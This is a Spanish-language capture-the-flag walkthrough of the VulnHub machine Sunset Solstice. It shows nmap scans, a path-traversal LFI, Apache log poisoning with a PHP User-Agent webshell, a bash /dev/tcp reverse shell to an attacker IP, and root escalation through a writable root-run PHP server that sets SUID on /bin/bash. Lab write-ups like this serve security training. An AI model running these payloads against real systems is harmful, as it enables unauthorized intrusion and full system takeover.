Sunset Solstice - VulnHub
In this machine, we will learn about LFI (Local File Inclusion) and How to create an exploit or poisoning via apache access.log
(apache log poisoning through lfi). For Privilege Escalation is how to change index.php
codes to PHP simple reverse shell script on the webserver.
Summary
- IP: 192.168.1.5
- Ports: 21,22,25,80,139,445,2121,3128,8593,54787,62524
- OS: Linux (Ubuntu)
- Services & Applications:
PORT STATE SERVICE VERSION
21/tcp open ftp pyftpdlib 1.5.6
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
25/tcp open smtp Exim smtpd 4.92
80/tcp open http Apache httpd 2.4.38 ((Debian))
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
2121/tcp open ftp pyftpdlib 1.5.6
3128/tcp open http-proxy Squid http proxy 4.6
8593/tcp open http PHP cli server 5.5 or later (PHP 7.3.14-1)
54787/tcp open http PHP cli server 5.5 or later (PHP 7.3.14-1)
62524/tcp open ftp FreeFloat ftpd 1.00
Recon
- Escaneo básico de puertos:
$nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 192.168.1.5 -oG allPorts
- Escaneo profundo de puertos encontrados:
$nmap -p21,22,25,80,139,445,2121,3128,8593,54787,62524 -sCV 192.168.1.5 -oN targeted
Análisis de página web (Port 80):
- En la página web principal de este puerto no encontramos nada interesante.
Análisis de página web (Port 8593):
- Dentro de aquí podemos observar dos enlaces con las etiquetas “Main Page” y “Book List”, si hacemos click en la primera no nos lleva a nada, sin embargo, si hacemos click en “Book List” podemos darnos cuenta que en el enlace está usando un parámetro “book” para apuntar a un recurso “list”, intentamos hacer un
PATH TRAVERSAL
para verificar si podemos enumerar recursos de la máquina víctima:
http://192.168.1.5:8593/index.php?book=../../../../../etc/passwd
- Efectivamente nos muestra el contenido del “/etc/passwd” así que ahora buscamos la manera de aprovechar este LFI y derivarlo a un RCE.
Log Poisoning Apache:
- Buscamos el archivo de configuración de apache:
http://192.168.1.5:8593/index.php?book=../../../../../var/log/apache2/access.log
-
Y sí que nos muestra los registros del log de las sesiones del servidor Apache, así que podemos usar esto para ganar un
RCE
haciendoLOG POISONING
. -
Primero debemos confirmar a qué puerto este log está haciendo referencia, así que hacemos una petición usando el navegador, primero hacia la página web principal del puerto 80.
http://192.168.1.5/Holaaaaaaaaaa
-
Ahora recargamos la página del log de apache y al final de todo deberíamos ver la petición que hicimos, y en este caso sí que nos muestra la petición al recurso de ejemplo “Holaaaaaaaaaa”, por lo que podemos confirmar que el
log de Apache
está tomando registro de las peticiones hechas al puerto 80. -
Sabiendo esto, abrimos Burpsuite y mandamos la misma petición del puerto 80 al Repeater y, como en el log de apache se nos muestra como parte del Output el “User-agent”, usando Burpsuite lo modificaremos inyectando código PHP el cual será interpretado ya que en la URL podemos evidenciar que el recurso que estamos usando para abrir el log se deriva del recurso “index.php”, lo que nos dice que cualquier código PHP que logremos inyectar, se interpretaría.
-
Dentro del repeater de Burpsuite, con la petición hecha, modificamos el
user-agent
por lo siguiente:
User-Agent: <?php system($_GET['cmd']); ?>
- Hecho esto, le damos en “send” para realizar la petición y ahora si nos dirigimos al recurso del log de
apache
y apuntamos al parámetro “cmd” nos debería permitir ejecutar comandos del sistema:
view-source:http://192.168.1.5:8593/index.php?book=../../../../../var/log/apache2/access.log&cmd=ls -l /
- Confirmado esto lo que resta por hacer es entablar una
reverse shell
y ganar acceso al sistema.
view-source:http://192.168.1.5:8593/index.php?book=../../../../../var/log/apache2/access.log&cmd=bash -c "bash -i >%26 /dev/tcp/192.168.1.35/443 0>%261"
ESCALANDO PRIVILEGIOS:
- Verificamos
permisos SUID
:
$find / -perm -4000 2>/dev/null
/var/tmp/sv
/var/tmp/ftp
/var/tmp/ftp/pub
Servidor web interno:
- Sospechamos de estos directorios que no son comunes de ver con permisos
SUID
, así que revisamos el primero:
$cd /var/tmp/sv/
$ls
index.php
-
Vemos que hay un recurso “index.php” por lo que podríamos sospechar que se trata de un
servidor web
; si revisamos permisos vemos que el propietario de dicho recurso es “root” y podemos modificarlo dado que tiene permisos SUID. -
Buscamos indicios de que se trate de un servidor web interno montado en la máquina buscando entre todos los procesos:
$ps faux | grep "/var/tmp/sv"
www-data 1221 0.0 0.0 6076 884 pts/0 S+ 13:54 0:00 | \_ grep /var/tmp/sv
root 354 0.0 0.0 2388 692 ? Ss 13:23 0:00 \_ /bin/sh -c /usr/bin/php -S 127.0.0.1:57 -t /var/tmp/sv/
root 394 0.0 2.0 196744 21164 ? S 13:23 0:00 \_ /usr/bin/php -S 127.0.0.1:57 -t /var/tmp/sv/
-
Podemos notar en la segunda linea como un proceso iniciado por “root” ejecuta un
servidor php
en el puerto 57 usando los recursos del directorio en el que estamos. -
Sabiendo esto, lo que podemos hacer es modificar el “index.php” inyectando código
php
que nos ejecute un comando determinado dentro del sistema, ya que al acceder a dicho recurso del servidor web interno, dicho comando que inyectaremos se ejecutará como “root”:
$cat index.php
<?php system("chmod u+s /bin/bash"); ?>
- Ahora accedemos al recurso usando “curl” apuntando al puerto “57” que es en donde se encuentra alojado el servidor interno:
$curl "http://127.0.0.1:57"
- Hecho esto la bash ya debería tener permisos
SUID
y podemos ejecutarla con privilegios para acceder como el usuario root:
$ls -la /bin/bash
-rwsr-xr-x 1 root root 1168776 Apr 18 2019 /bin/bash
$bash -p